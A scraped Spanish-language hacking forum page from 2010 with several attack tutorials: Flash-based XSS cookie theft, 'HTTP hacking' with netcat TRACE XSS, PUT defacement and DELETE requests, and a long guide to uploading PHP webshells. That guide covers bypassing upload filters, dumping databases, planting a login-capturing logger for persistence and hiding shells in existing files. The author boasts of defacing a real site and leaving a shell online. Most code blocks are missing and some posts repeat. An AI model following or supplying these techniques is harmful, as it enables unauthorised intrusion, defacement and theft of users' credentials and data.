Otro tutorial mas que hago no es la gran cosa a lo mejor tengo errores por hay
Si los tengo me gustarian las {Criticas} Son muy importante para correjir a los
Demas...
No pongo mi sitio Web porque siempre los Web Master andan con el trauma de que
Hacemos Spam como si con eso piensan que acabaran el Spam sueñen un rato.
By ShadinessDark
#32
Bugs y Exploits / Método de ataque y ejemplo de Software By ShadinessDark
Febrero 24, 2010, 03:23:44 PMEl peligro de permitir flash en los sitios.
By ShadinessDark
1.) Presentación
2.) ¿Que es flash?
3.) Método de ataque y ejemplo de Software
4.) Conclusión
5.) Despedida
1.) Presentación
Primero que nada este tutorial va dedicado a mis amigos de BugDox y a todo los Lectores especialmente a los que no les caigo bien, muchos me harán criticas Y eso es Bueno porque Uds. Me corrigen como muchos saben yo me retire del DEFACING no Es que yo sea conocido ni nada por el estilo este tutorial lo he hecho de manera especial
Para dar la diferencia de otros tutoriales que he visto en la red...
¿Por qué diferente?
Porque la mayoría de los tutoriales visto en la red son poco explicados para iniciados
¿A que se debe este tutorial?
Bueno este tutorial no puedo decir que lo hago con el fin de bien lo hago para bien y Para mal lo hago con concepto de cómo explotarlo y concepto de cómo arreglarlo
No es mi culpa que un Web Master no me haga caso ¿Verdad?
Los saludos más especiales para mis compañeros:
Zero Bits
KuTer
Jeferx
Darki113r
_84kur10_
Z1z30f
Kozmic.Kizz
1.) ¿Que es flash?
Segun la wikipedia:
Adobe Flash es una aplicación en forma de estudio de animación que trabaja sobre "Fotogramas" destinado a la producción y entrega de contenido interactivo para diferentes audiencias alrededor del mundo sin importar la plataforma. Es actualmente escrito y distribuido por Adobe Systems, y utiliza gráficos vectoriales e imágenes ráster, sonido, código de programa, flujo de vídeo y audio bidireccional (el flujo de subida sólo está disponible si se usa conjuntamente con Macromedia Flash Communication Server). En sentido estricto, Flash es el entorno y Flash Player es el programa de máquina virtual utilizado para ejecutar los archivos generados con Flash.
Los archivos de Flash, que tienen generalmente la extensión de archivo SWF, pueden aparecer en una página web para ser vista en un navegador, o pueden ser reproducidos independientemente por un reproductor Flash. Los archivos de Flash aparecen muy a menudo como animaciones en páginas Web y sitios Web multimedia, y más recientemente Aplicaciones de Internet Ricas. Son también ampliamente utilizados en anuncios de la web.
En versiones anteriores, Macromedia amplió a Flash más allá de las animaciones simples, convirtiéndolo en una herramienta de desarrollo completa, para crear principalmente elementos multimedia e interactivos para Internet.
Fue hasta 2005 perteneciente a la empresa Macromedia conocido hasta entonces como Macromedia Flash® y adquirido por Adobe Systems (desde entonces conocido como Adobe Flash) ampliando con ello su portafolio de productos dentro del mercado. No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
3.) Método de ataque y ejemplo de Software
Vamos a imaginar que tenemos un sitio No tienes permitido ver los links. Registrarse o Entrar a mi cuenta este sitio permite a los
Usuarios poner sus firmas en flash y sus imágenes flash haciendo el uso de la
Etiqueta EMBED, Imaginemos que vamos a nuestro perfil donde editamos nuestros
Datos y entramos a donde colocamos la firma y agregamos.
Este código lo añade el atacante en la cajita de TEXTO del foro de la victima la cual
Permite robar las cookies de sesión de usuario digamos que este ataque se reproduce
En sitios que permiten usar mucho flash hay una página que hace poco mire que fue
Por ella que me nació la idea de hacer este tutorial quizás muchos la conocen No tienes permitido ver los links. Registrarse o Entrar a mi cuenta bueno hay antes permitían mucho usar el flash no se si
Todavía lo hagan bueno este sitio permite que suban archivos los usuarios...
Bueno en el caso de los SMF el flash es peligroso va para los webmasters empezando
Por mi que uso flash en mi SMF ya en SMF la etiqueta es [flash]http://y cierra[/flash]
La etiqueta [Flash]http://se convierte en la etiqueta de un objeto correcto...
Un ejemplo:
Interpretemos por el script y nos quedaría algo así en lo anterior:
Bueno Uds se preguntaran que es clsid:D27CDB6E-AE6D-11cf-96B8-444553540000
Solo es un tag.
Bueno estos solo son ejemplos toda pagina Web que permite FLASH en la Web es probablemente vulnerable a un ataque XSS
¿Cómo protegemos nuestro sitio Web?
Solamente no permitamos los archivos flash en web-app. También una buena solución
Seria analizar la realidad del problema animación flash y el filtro de parámetros maliciosos
Usados por el atacante por medio de getURL(). Con esto me refiero a cuando un sitio Web
Permite que los archivos swf sean cargados al servidor, Muchos webmasters permiten a los Usuarios subir archivos lo mas seguro seria que los Webmasters del sitio bloqueen todo lo que
Tenga que ver con flash que contiene getURL() Esta acción no se refieren específicamente el ataque se reproduce a un sitio http xD también podemos cambiar getURL() esto podemos lograrlo por medio de la especificación de la ventana "_blank" me imagino que la han oído
En lenguaje de programación Web al hacer el cambio descritos la dirección URL javascript no
Se ejecutara con privilegios en el dominio que te aloja...
Como muchos sabemos ActionScript es un lenguaje es un lenguaje de Scripting complejo y proporcionamos con el la función eval() esto le permite a los atacantes mas sofisticados para
Evitar la protección de una análisis de ActionScript...
Un buen ejemplo le definiríamos asi:
Espero y me entiendan...
4.) Conclusión
Bueno si le vemos un poco la lógica a todo no es muy interesante pero peligrosa
Para los Webmaster a la hora de permitir usar SWF en su sitio Web, Si vemos
Este ataque nos lleva a un ataque XSS, Creo que con la explicación es más que
Entendible que el archivo la cual hemos subido como flash cuando la victima
Le da clic podemos sacar las cookies y así usarla para las travesuras si me equivoco
Corríjanme.
5.) Despedida
Otro tutorial mas que hago no es la gran cosa a lo mejor tengo errores por hay
Si los tengo me gustarian las {Criticas} Son muy importante para correjir a los
Demas...
No pongo mi sitio Web porque siempre los Web Master andan con el trauma de que
Hacemos Spam como si con eso piensan que acabaran el Spam sueñen un rato...
#33
Bugs y Exploits / Introduccion al HTTP Hacking By Zero Bits
Febrero 24, 2010, 03:19:41 PM
Introducción al HTTP Hacking
Este solo es una mera introduccion al HTTP Hacking hablando de los metodos y algunos ejemplos de como funcionan. Antes lean esto:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Ya que leyeron, explicare los metodos HTTP....
Metodos HTTP:
GET: Viene activado por defecto, puede obtener info de un fichero y tambien solicita una pagina.
HEAD: El server devuelve los headers de la pagina, gracias a eso podemos sacar buena info del Servidor.
Ej: Vamos a usar el MS-DOS con No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Abromps el MS-DOS y escribimos "nc No tienes permitido ver los links. Registrarse o Entrar a mi cuenta 80", se conectara en la linea de abajo de eso, escribimos: HEAD / HTTP/1.1, le damos dos veces a ENTER para confirmar y nos tira informacion como esta:
Cache-Control:Directivas que deben ser usadas a lo largo de la peticion
Content-Type:Con lo que salio, deben imaginarse
Set-Cookie:La cookie
Nos puede dar esa o mejor Informacion, depende del Servidor...
OPTIONS: Aqui esta otro que nos da mucha info, tambien informa de los metodos permitidos por el Servidor.
Ej: Probemos con No tienes permitido ver los links. Registrarse o Entrar a mi cuenta este metodo xD:
Podemos ver que info que sabran que es como DATE (La fecha actual), Server (Me imagino que ya sabran con lo que leyeron xD), Content-Length (Numero de caracteres), pero para quienes no conocen a ALLOW, dice los metodos permitidos por el Servidor, entonces aqui se permiten GET, HEAD, POST, OPTIONS y TRACE.
TRACE: Responde lo que le enviemos, podremos aprovecharnos de esa haciendo XSS o cualquier otra cosa como Floodearlo...
Ej:
Netcat dira si se llego a lograr o no...
POST: Podemos hacer que el servidor acepte informacion enviada por nosotros.
Ej: Podemos hacer que un uploader acepte una imagen con contenido malicioso.
PUT: Cuando vean que el servidor acepte PUT, leyendo esto puede que se emocionen, ya que PUT permite modificar un fichero.
Ej:
Content-Length, es el numero de caracteres....
Dependiendo de si funciona o no, te lo dira... A veces piden autorizacion, dependiendo de la seguridad, solo ahi que poner la IP o nombre del Servidor.
DELETE: Borra un fichero.
Ej:
nc No tienes permitido ver los links. Registrarse o Entrar a mi cuenta 80
DELETE /index.html HTTP/1.0
Bueno ya hemos terminado esta breve Introduccion al Http Hacking...
Pueden leer tutos:
* Aprende a usar Live http Headers
* HTTP al Descubierto By Sknight & Vengador de las Sombras
Autor: Zero Bits
Fecha: 24/07/09
Team: Pandoras Box Team
Este solo es una mera introduccion al HTTP Hacking hablando de los metodos y algunos ejemplos de como funcionan. Antes lean esto:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Ya que leyeron, explicare los metodos HTTP....
Metodos HTTP:
GET: Viene activado por defecto, puede obtener info de un fichero y tambien solicita una pagina.
HEAD: El server devuelve los headers de la pagina, gracias a eso podemos sacar buena info del Servidor.
Ej: Vamos a usar el MS-DOS con No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Abromps el MS-DOS y escribimos "nc No tienes permitido ver los links. Registrarse o Entrar a mi cuenta 80", se conectara en la linea de abajo de eso, escribimos: HEAD / HTTP/1.1, le damos dos veces a ENTER para confirmar y nos tira informacion como esta:
Cache-Control:Directivas que deben ser usadas a lo largo de la peticion
Content-Type:Con lo que salio, deben imaginarse
Set-Cookie:La cookie
Nos puede dar esa o mejor Informacion, depende del Servidor...
OPTIONS: Aqui esta otro que nos da mucha info, tambien informa de los metodos permitidos por el Servidor.
Ej: Probemos con No tienes permitido ver los links. Registrarse o Entrar a mi cuenta este metodo xD:
Podemos ver que info que sabran que es como DATE (La fecha actual), Server (Me imagino que ya sabran con lo que leyeron xD), Content-Length (Numero de caracteres), pero para quienes no conocen a ALLOW, dice los metodos permitidos por el Servidor, entonces aqui se permiten GET, HEAD, POST, OPTIONS y TRACE.
TRACE: Responde lo que le enviemos, podremos aprovecharnos de esa haciendo XSS o cualquier otra cosa como Floodearlo...
Ej:
Citarnc No tienes permitido ver los links. Registrarse o Entrar a mi cuentaTRACE / HTTP/1.0<script>alert("Probando TRACE")</script>
Netcat dira si se llego a lograr o no...
POST: Podemos hacer que el servidor acepte informacion enviada por nosotros.
Ej: Podemos hacer que un uploader acepte una imagen con contenido malicioso.
PUT: Cuando vean que el servidor acepte PUT, leyendo esto puede que se emocionen, ya que PUT permite modificar un fichero.
Ej:
CitarPUT /index.html HTTP/1.0
Content-Length: 14
<h1>Owned</h1>
Content-Length, es el numero de caracteres....
Dependiendo de si funciona o no, te lo dira... A veces piden autorizacion, dependiendo de la seguridad, solo ahi que poner la IP o nombre del Servidor.
DELETE: Borra un fichero.
Ej:
nc No tienes permitido ver los links. Registrarse o Entrar a mi cuenta 80
DELETE /index.html HTTP/1.0
Bueno ya hemos terminado esta breve Introduccion al Http Hacking...
Pueden leer tutos:
* Aprende a usar Live http Headers
* HTTP al Descubierto By Sknight & Vengador de las Sombras
Autor: Zero Bits
Fecha: 24/07/09
Team: Pandoras Box Team
#34
Bugs y Exploits / Cubriendo el Pentesting Web Cap 1 Sql Injections
Febrero 24, 2010, 03:19:24 PMsalu2
#35
Bugs y Exploits / Tips a la hora de usar shells + otras cuantas cosas
Febrero 24, 2010, 03:19:06 PM
Saludos a todos.
el tutorial esta basico, pero creo que a muchos les serviria
bueno el contenido de este minututorial es
0x01 Q son la shells.
0x02 PhpShells
0x03 Creacion de PhpShells
0x04 Subir una shell a un servidor
0x05 Ya subi la shell y ahora?
0x06 Preparando el sistema para volver (Keylogger php) o (POSTlogger php)
0x07 Dejar shell incrustada (Shell Embedded)
0x08 Preguntas en otros foros sobre este tuto
0x09 Conclusion
0x10 Agradecimiento
0x01 Shell
A una shell como tal la podemos definir como el software que permite que el usuario acceda a los servicios del sistema sin ir directamente al kernel, si no precisamente a travez de la shell, en otras palabras la shell sera una intermediaria entre el usuario y el sistema.
0x02 PhpShell (WebShell)
Bueno en este orden de ideas podemos entonces decir que una phpShell es un intermediario entre el sistema y el usuario, con la particularidad que esta desarrollada en php, asi como hay shells hechas en php, tambien existen en un sin fin de lenguajes de programacion, la ventaja de q la shell este hecha en php o en algun lenguaje de programacion para la web, es q podremos usar la shell aprovechando los servicios de la maquina remota.
en otras palabras Gracias a que en la maquina remota esta corriendo un servicio, nuestra (Web)shell se ejecutara y podremos visualizarla por el navegador.
0x03 Creacion de una PhpShell.
Pues como se imaginaran si quicieramos crear una phpshell, lo que necesitariamos fundamentalmente es conocer a fondo el lenguaje de programacion en el que la vamos a desarrollar, y crear opciones de manejo de archivos, navegacion en el servidor etc, es decir, todo lo que nos facilite interactuar con el sistema remoto.
un miniejemplo de una shell, que pueda ejecutar comandos en el servidor seria.
partiendo de que el comando de php : system('dir'); ejecuta el comando dir en la maquina donde este alojado el archivo, entonces podremos decir que lo haremos para que ejecute todo lo que envien por un navegador.
¿como asi? si pues por ejemplo si hacemos un archivo php con el siguiente contenido:
lo guardamos como test.php. lo colocamos en un servidor web que soporte php (podrian hacerlo en uno free o localmente para probar) y accedemmos al archivo por el navegador asi
el resultado que nos debe arrojar el servidor es simpemente: Hola
pues lo que le decimos esq con GET osea hace referencia a lo q viaje por la url (por decirlo de algun modo) y solo decimos que escriba lo q llego en comando.
si modificamos el test.php por algo como esto
lo que hara sera ejecutar el comando q le enviemos por la url
por ejemplo si mandamos algo como esto en la url
se ejecutara un dir en el servidor.
tambien podriamos hacer algo asi:
con lo que visualizaremos el codigo de index.php.
como ven, con este archivo php estamos de ciertaforma comunicandos con la maquina. asi que digamos q este es el principio basico de una shell. Actualemente encontraras shells famosas como c99,c100,r57... entre muchas otras, que ya cuentan con sistemas completo para saltarse muchos filtros. son faciles de encontrar. simpemente si quieren algunas de las q les digo coloquen en google:
0x04 Subir una shell a un servidor
Cuando se trata de atacar un servidor web, lo que uno principalmente busca de cierta forma, es tratar de colar una phpshell, para que? pues para tener mas acceso al servidor e ir por la informacion que nos interesa.
osea que ya se imaginaran que necesitan un especie de uploading o explotar algun tipo de bug que permita subir archivos. partiendo de ese principio basico se imaginaran que si colocamos digamos en google
encontraremos muchos uploading para probar haber si podemos colar una phpshell.
me he encontrado con muchas webs que no filtran las extensiones correctamente lo que nos permite subir archivos de forma arbitraria, eso es a lo llamamos Arbitrary file Upload, es asi como podemos subir una shell, sin tanto desmadre, y con poco esfuerzo.
aprovecho para contarle algo q me sucedio, durante el deface a el-informador... note e un principio q tenia blind sql inyeccion. pues como algunos sabran ese tipo de inyeccion son algo tediosas... tardamos mucho en dar con el resultado que queremos y a veces teniendo en cuenta q probablemente no corramos con suerte. entonces ps estaba trantando de hacerla cuando me dio por probar encontrar el panel de admin de la web que esta ubicado en:
me tope con una sorpresa cuando vi que habia un uploader para imagenes, asi que probe subir una shell.
y pues medio resultado... me sorprendi un poco e inclusive me dio algo de risa, pues de blind sql inyeccion a tener un uploading listo... y sin ningun esfuerzo pues jum... nos ahorramos bastante.
de esta forma subi la shell del informador (que aun esta online).
por otro lado, hay algunos tipos de filtros q nos podemos saltar, por ejemplo a veces usan cosas como
aqui lo que hacen es mirar lo q viene en el campo type de la cabecera http, para obtener el tipo del archivo, si strpos encuentra el tipo devuelve la posicion, si no devuelve un falso... como todos sabran podemos modificar las cabeceras para cambiar el tipo, pueden usar el http live header, achilles, tamper data... por otro lado podemos encontrarnos con esta filtracion.
con lo que solo bastaria subir la shell con un nombre como este shell.jpg.php, porq? porq explode('.','shell.jpg.php')
parte el nombre en un vector y toma el . como referencia, por tanto la posicion 1 tiene jpg y la 2 tiene php. y al comparar solo con la 1 entonces al parecer seria un jpg.
haber comoquemonos en este contexto, no tenemos ningun uploading, solo tenemos un sql inyeccion, y no tenemos admin login ni nada. cuanto esto pasa, podemos intentar filtrar una shell con la setencia outfile
podria ser algo como :
si nos pone mucha joda.. podemos intentar pasar el code php a hex para filtrarla.
Tambien podemos subir un archivo con PUT, bajo la condicion que el phpini este con esto
teniendo el put activado podemos enviar enla cabecera http algo como
y podremos subir shell.
0x05 Ya subi la shell y ahora?
Una vez que logremos tener la shell arriba, uno de los tips o cosas que podemos hacer es buscar los archivos de configuracion de la BD, para que? pues para usmear, o para dumpearla, como asi dumpearla? pues veran es simplemente descargarnos una copia de su BD, en particular las shells tienen opciones para los archivos q lista... como ver descargar editar etc.
ejemplo
ahora usmeando un poco encontramos los archivos de configuracion, inclusive notamos que nuestra shell nos lo indica.
si lo clickeamos nos dara informacion como esta:
con lo que nos podemos autenticar aqui.
Bueno una vez coloquemos los datos... de host,Bd user y password, podremos visualizar algo como:
la opcion dump es la que les habia mencionado previamente, y pues podran navegar en la bd... hagan de cuenta que es un cliente mysql.
la shell tiene opciones para hacer back conection.
para que sirve? pues para bypasear el cortafuegos, podemos leer archivos ya sea usando php o mysql... podremos hacer un sinfin de cosas, yo aconsejo que le brujeen a la shell ojala la la monten localmente, y ensayan las opciones. que pues son bastante intuitivas.
0x06 Preparando el sistema para volver
Bueno pues la idea es que una vez entramos, dejemos asegurado un proximo regreso, por ello esta es una de las tantas opciones, se trata de guardar en un log (que podria ser remoto pero que aqui lo dejo de forma local), esto se puede ubicar en el archivo php encargado de recibir los datos del login
Ahora podremos ver lo que guarde el log en logs.txt, aclaro q es un ejemplo simple, se podrian hacer cosas como conexion por ftp... etc. y si el admin quiere darse cuenta que le dejamos un keylogger (seria mas un POST logger o algo asi), pues tendria que ir a revisar el codigo fuente de su aplicacion.
0x07 Dejar shell incrustada (Shell Embedded)
se trata de agregar la shell dentro de un archivo existente, con el fin de evitar sumar archivos al servidor, solo es cuestion de encontrar el archivo indicado, y acomodamos la minishell para que solo reaccione si enviamos un parametro asi
esto con el fin de evitar q salgan errores... q adviertan que hay problemas en el archivo
y lo ejecutariamos asi
Bueno aqui acaba este listado de tips... y de teoria... espere les guste.
0x08 Preguntas de otros foros
ShadinessDark hackxcrack
Ah también me parece que le agregues la forma de esconder la shell...
Osea que no aparezca en la lista de archivos..
R
digamos q esta es su shell
y este es el index.php
hay varias formas ... por un lado esta una que es simplemente:
o
p´s es una forma sencilla. pero se podrian usar una especies de ofuscadres para que no se entienda el code.... y pues es cuestion de analizar cual es el mejor archivo para incrustar la shell... o el PostLogger...
edugibert hackxcrack
Se puede camuflar la shell con alguna archivo!! Haber si me explico coger el blinder y camuflar la shell con un pdf o un doc o lo que sea y después ejecutarlo ?¿ Si la respuesta es afirmativa como ?¿
R:
si man eso se puede hacer... quizas hallan varias formas, pero por ahora se me ocurren 2.
la primera es que subas digamos la shell con extension .jpg (o la que sea pero para el ejemplo sera jpg)
con la shell arriba con otro formato agregas un .htaccess con el siguiente codigo
eso hara que el servidor ejecute el code php de los jpg... por tanto aunq nuestra shell tenga extension jpg se ejecutara. ten encuenta q puede ser doc pdf lo q sea.
psdta: buena pregunta, con esto complementare el tuto
la otra que se me ocurre es que causemos un lfi aproposito asi:
y podremos incluir nuestra shell asi.
lo que hara que se incluya la supuesta imagen y se ejecute el php.
C3llu5 hackxcrack
tengo una pregunta
enkontre una web vulnerable, y logre subir un X texto para komprebar si me dejaba,
haora e intentado subir una shell , pero haora mi problem es el peso de la shell, no me pone problema por el formato, pero no me sube por el peso del archivo de la shell,
pues bueno mi pregunta, es ke si hay una de subirla, o alguna shell ke no pese tanto, para que no me ponga problema por el peso,
R:
man, que SO tiene el servidor?
podria intentar subir un archivo php pero no con una shell, si no con un uploader... depues ya subes shell usando el archivo q subiste... (un uploader pesa mucho menos)
o puede intentar subir un archivo php que ejecute esto
donde
es la ubicacion de tu shell
y ya despues accedes a:
0x10 Conclusiones
Nada solo resta decir, si quieres atacar algo la mejor herramienta es saber como funciona, asi tendras mas posibilidades
0x10 Agrecimiento
Agradezco a Cygog por sacarme de un par de dudas .
y a todos los q preguntan porq asi se complementa el tutorial.
Psdts
si ven errores o alguna bestialidad les agradezco me informen
Continuara...
by _84kur10_
el tutorial esta basico, pero creo que a muchos les serviria
bueno el contenido de este minututorial es
Tips a la hora de usar shells + otras cuantas cosas
0x01 Q son la shells.
0x02 PhpShells
0x03 Creacion de PhpShells
0x04 Subir una shell a un servidor
0x05 Ya subi la shell y ahora?
0x06 Preparando el sistema para volver (Keylogger php) o (POSTlogger php)
0x07 Dejar shell incrustada (Shell Embedded)
0x08 Preguntas en otros foros sobre este tuto
0x09 Conclusion
0x10 Agradecimiento
0x01 Shell
A una shell como tal la podemos definir como el software que permite que el usuario acceda a los servicios del sistema sin ir directamente al kernel, si no precisamente a travez de la shell, en otras palabras la shell sera una intermediaria entre el usuario y el sistema.
0x02 PhpShell (WebShell)
Bueno en este orden de ideas podemos entonces decir que una phpShell es un intermediario entre el sistema y el usuario, con la particularidad que esta desarrollada en php, asi como hay shells hechas en php, tambien existen en un sin fin de lenguajes de programacion, la ventaja de q la shell este hecha en php o en algun lenguaje de programacion para la web, es q podremos usar la shell aprovechando los servicios de la maquina remota.
en otras palabras Gracias a que en la maquina remota esta corriendo un servicio, nuestra (Web)shell se ejecutara y podremos visualizarla por el navegador.
0x03 Creacion de una PhpShell.
Pues como se imaginaran si quicieramos crear una phpshell, lo que necesitariamos fundamentalmente es conocer a fondo el lenguaje de programacion en el que la vamos a desarrollar, y crear opciones de manejo de archivos, navegacion en el servidor etc, es decir, todo lo que nos facilite interactuar con el sistema remoto.
un miniejemplo de una shell, que pueda ejecutar comandos en el servidor seria.
partiendo de que el comando de php : system('dir'); ejecuta el comando dir en la maquina donde este alojado el archivo, entonces podremos decir que lo haremos para que ejecute todo lo que envien por un navegador.
¿como asi? si pues por ejemplo si hacemos un archivo php con el siguiente contenido:
lo guardamos como test.php. lo colocamos en un servidor web que soporte php (podrian hacerlo en uno free o localmente para probar) y accedemmos al archivo por el navegador asi
el resultado que nos debe arrojar el servidor es simpemente: Hola
pues lo que le decimos esq con GET osea hace referencia a lo q viaje por la url (por decirlo de algun modo) y solo decimos que escriba lo q llego en comando.
si modificamos el test.php por algo como esto
lo que hara sera ejecutar el comando q le enviemos por la url
por ejemplo si mandamos algo como esto en la url
se ejecutara un dir en el servidor.
tambien podriamos hacer algo asi:
con lo que visualizaremos el codigo de index.php.
como ven, con este archivo php estamos de ciertaforma comunicandos con la maquina. asi que digamos q este es el principio basico de una shell. Actualemente encontraras shells famosas como c99,c100,r57... entre muchas otras, que ya cuentan con sistemas completo para saltarse muchos filtros. son faciles de encontrar. simpemente si quieren algunas de las q les digo coloquen en google:
0x04 Subir una shell a un servidor
Cuando se trata de atacar un servidor web, lo que uno principalmente busca de cierta forma, es tratar de colar una phpshell, para que? pues para tener mas acceso al servidor e ir por la informacion que nos interesa.
osea que ya se imaginaran que necesitan un especie de uploading o explotar algun tipo de bug que permita subir archivos. partiendo de ese principio basico se imaginaran que si colocamos digamos en google
encontraremos muchos uploading para probar haber si podemos colar una phpshell.
me he encontrado con muchas webs que no filtran las extensiones correctamente lo que nos permite subir archivos de forma arbitraria, eso es a lo llamamos Arbitrary file Upload, es asi como podemos subir una shell, sin tanto desmadre, y con poco esfuerzo.
aprovecho para contarle algo q me sucedio, durante el deface a el-informador... note e un principio q tenia blind sql inyeccion. pues como algunos sabran ese tipo de inyeccion son algo tediosas... tardamos mucho en dar con el resultado que queremos y a veces teniendo en cuenta q probablemente no corramos con suerte. entonces ps estaba trantando de hacerla cuando me dio por probar encontrar el panel de admin de la web que esta ubicado en:
me tope con una sorpresa cuando vi que habia un uploader para imagenes, asi que probe subir una shell.
y pues medio resultado... me sorprendi un poco e inclusive me dio algo de risa, pues de blind sql inyeccion a tener un uploading listo... y sin ningun esfuerzo pues jum... nos ahorramos bastante.
de esta forma subi la shell del informador (que aun esta online).
por otro lado, hay algunos tipos de filtros q nos podemos saltar, por ejemplo a veces usan cosas como
aqui lo que hacen es mirar lo q viene en el campo type de la cabecera http, para obtener el tipo del archivo, si strpos encuentra el tipo devuelve la posicion, si no devuelve un falso... como todos sabran podemos modificar las cabeceras para cambiar el tipo, pueden usar el http live header, achilles, tamper data... por otro lado podemos encontrarnos con esta filtracion.
con lo que solo bastaria subir la shell con un nombre como este shell.jpg.php, porq? porq explode('.','shell.jpg.php')
parte el nombre en un vector y toma el . como referencia, por tanto la posicion 1 tiene jpg y la 2 tiene php. y al comparar solo con la 1 entonces al parecer seria un jpg.
haber comoquemonos en este contexto, no tenemos ningun uploading, solo tenemos un sql inyeccion, y no tenemos admin login ni nada. cuanto esto pasa, podemos intentar filtrar una shell con la setencia outfile
podria ser algo como :
si nos pone mucha joda.. podemos intentar pasar el code php a hex para filtrarla.
Tambien podemos subir un archivo con PUT, bajo la condicion que el phpini este con esto
teniendo el put activado podemos enviar enla cabecera http algo como
y podremos subir shell.
0x05 Ya subi la shell y ahora?
Una vez que logremos tener la shell arriba, uno de los tips o cosas que podemos hacer es buscar los archivos de configuracion de la BD, para que? pues para usmear, o para dumpearla, como asi dumpearla? pues veran es simplemente descargarnos una copia de su BD, en particular las shells tienen opciones para los archivos q lista... como ver descargar editar etc.
ejemplo
ahora usmeando un poco encontramos los archivos de configuracion, inclusive notamos que nuestra shell nos lo indica.
si lo clickeamos nos dara informacion como esta:
con lo que nos podemos autenticar aqui.
Bueno una vez coloquemos los datos... de host,Bd user y password, podremos visualizar algo como:
la opcion dump es la que les habia mencionado previamente, y pues podran navegar en la bd... hagan de cuenta que es un cliente mysql.
la shell tiene opciones para hacer back conection.
para que sirve? pues para bypasear el cortafuegos, podemos leer archivos ya sea usando php o mysql... podremos hacer un sinfin de cosas, yo aconsejo que le brujeen a la shell ojala la la monten localmente, y ensayan las opciones. que pues son bastante intuitivas.
0x06 Preparando el sistema para volver
Bueno pues la idea es que una vez entramos, dejemos asegurado un proximo regreso, por ello esta es una de las tantas opciones, se trata de guardar en un log (que podria ser remoto pero que aqui lo dejo de forma local), esto se puede ubicar en el archivo php encargado de recibir los datos del login
Ahora podremos ver lo que guarde el log en logs.txt, aclaro q es un ejemplo simple, se podrian hacer cosas como conexion por ftp... etc. y si el admin quiere darse cuenta que le dejamos un keylogger (seria mas un POST logger o algo asi), pues tendria que ir a revisar el codigo fuente de su aplicacion.
0x07 Dejar shell incrustada (Shell Embedded)
se trata de agregar la shell dentro de un archivo existente, con el fin de evitar sumar archivos al servidor, solo es cuestion de encontrar el archivo indicado, y acomodamos la minishell para que solo reaccione si enviamos un parametro asi
esto con el fin de evitar q salgan errores... q adviertan que hay problemas en el archivo
y lo ejecutariamos asi
Bueno aqui acaba este listado de tips... y de teoria... espere les guste.
0x08 Preguntas de otros foros
ShadinessDark hackxcrack
Ah también me parece que le agregues la forma de esconder la shell...
Osea que no aparezca en la lista de archivos..
R
digamos q esta es su shell
y este es el index.php
hay varias formas ... por un lado esta una que es simplemente:
o
p´s es una forma sencilla. pero se podrian usar una especies de ofuscadres para que no se entienda el code.... y pues es cuestion de analizar cual es el mejor archivo para incrustar la shell... o el PostLogger...
edugibert hackxcrack
Se puede camuflar la shell con alguna archivo!! Haber si me explico coger el blinder y camuflar la shell con un pdf o un doc o lo que sea y después ejecutarlo ?¿ Si la respuesta es afirmativa como ?¿
R:
si man eso se puede hacer... quizas hallan varias formas, pero por ahora se me ocurren 2.
la primera es que subas digamos la shell con extension .jpg (o la que sea pero para el ejemplo sera jpg)
con la shell arriba con otro formato agregas un .htaccess con el siguiente codigo
eso hara que el servidor ejecute el code php de los jpg... por tanto aunq nuestra shell tenga extension jpg se ejecutara. ten encuenta q puede ser doc pdf lo q sea.
psdta: buena pregunta, con esto complementare el tuto
la otra que se me ocurre es que causemos un lfi aproposito asi:
y podremos incluir nuestra shell asi.
lo que hara que se incluya la supuesta imagen y se ejecute el php.
C3llu5 hackxcrack
tengo una pregunta
enkontre una web vulnerable, y logre subir un X texto para komprebar si me dejaba,
haora e intentado subir una shell , pero haora mi problem es el peso de la shell, no me pone problema por el formato, pero no me sube por el peso del archivo de la shell,
pues bueno mi pregunta, es ke si hay una de subirla, o alguna shell ke no pese tanto, para que no me ponga problema por el peso,
R:
man, que SO tiene el servidor?
podria intentar subir un archivo php pero no con una shell, si no con un uploader... depues ya subes shell usando el archivo q subiste... (un uploader pesa mucho menos)
o puede intentar subir un archivo php que ejecute esto
donde
es la ubicacion de tu shell
y ya despues accedes a:
0x10 Conclusiones
Nada solo resta decir, si quieres atacar algo la mejor herramienta es saber como funciona, asi tendras mas posibilidades
0x10 Agrecimiento
Agradezco a Cygog por sacarme de un par de dudas .
y a todos los q preguntan porq asi se complementa el tutorial.
Psdts
si ven errores o alguna bestialidad les agradezco me informen
Continuara...
by _84kur10_
#36
Bugs y Exploits / Admin Finder By _84kur10_
Febrero 24, 2010, 03:15:17 PM
Les dejo mi buscador de admin login, falta mejorarlo para q sea mas rapido, pero = funciona
admin.txt
admin.txt
#38
Bugs y Exploits / Admin Control Panel Finder - by Gladiator
Febrero 24, 2010, 03:13:37 PMFuente: LatinoHack
#39
Bugs y Exploits / Sniper-Admin by Guason
Febrero 24, 2010, 03:11:23 PMUse:
Citarperl No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#40
Bugs y Exploits / Hunter-sql by Guason
Febrero 24, 2010, 03:11:08 PM
Lo que hace es
*Comprueba vulnerabilidad
*Busca columnas con 2 tecnicas diferentes
*Saca informacion de base de datos
*Comprueba mysql y schema como load file
*Busca tablas y columnas
Aca el code
*Comprueba vulnerabilidad
*Busca columnas con 2 tecnicas diferentes
*Saca informacion de base de datos
*Comprueba mysql y schema como load file
*Busca tablas y columnas
Aca el code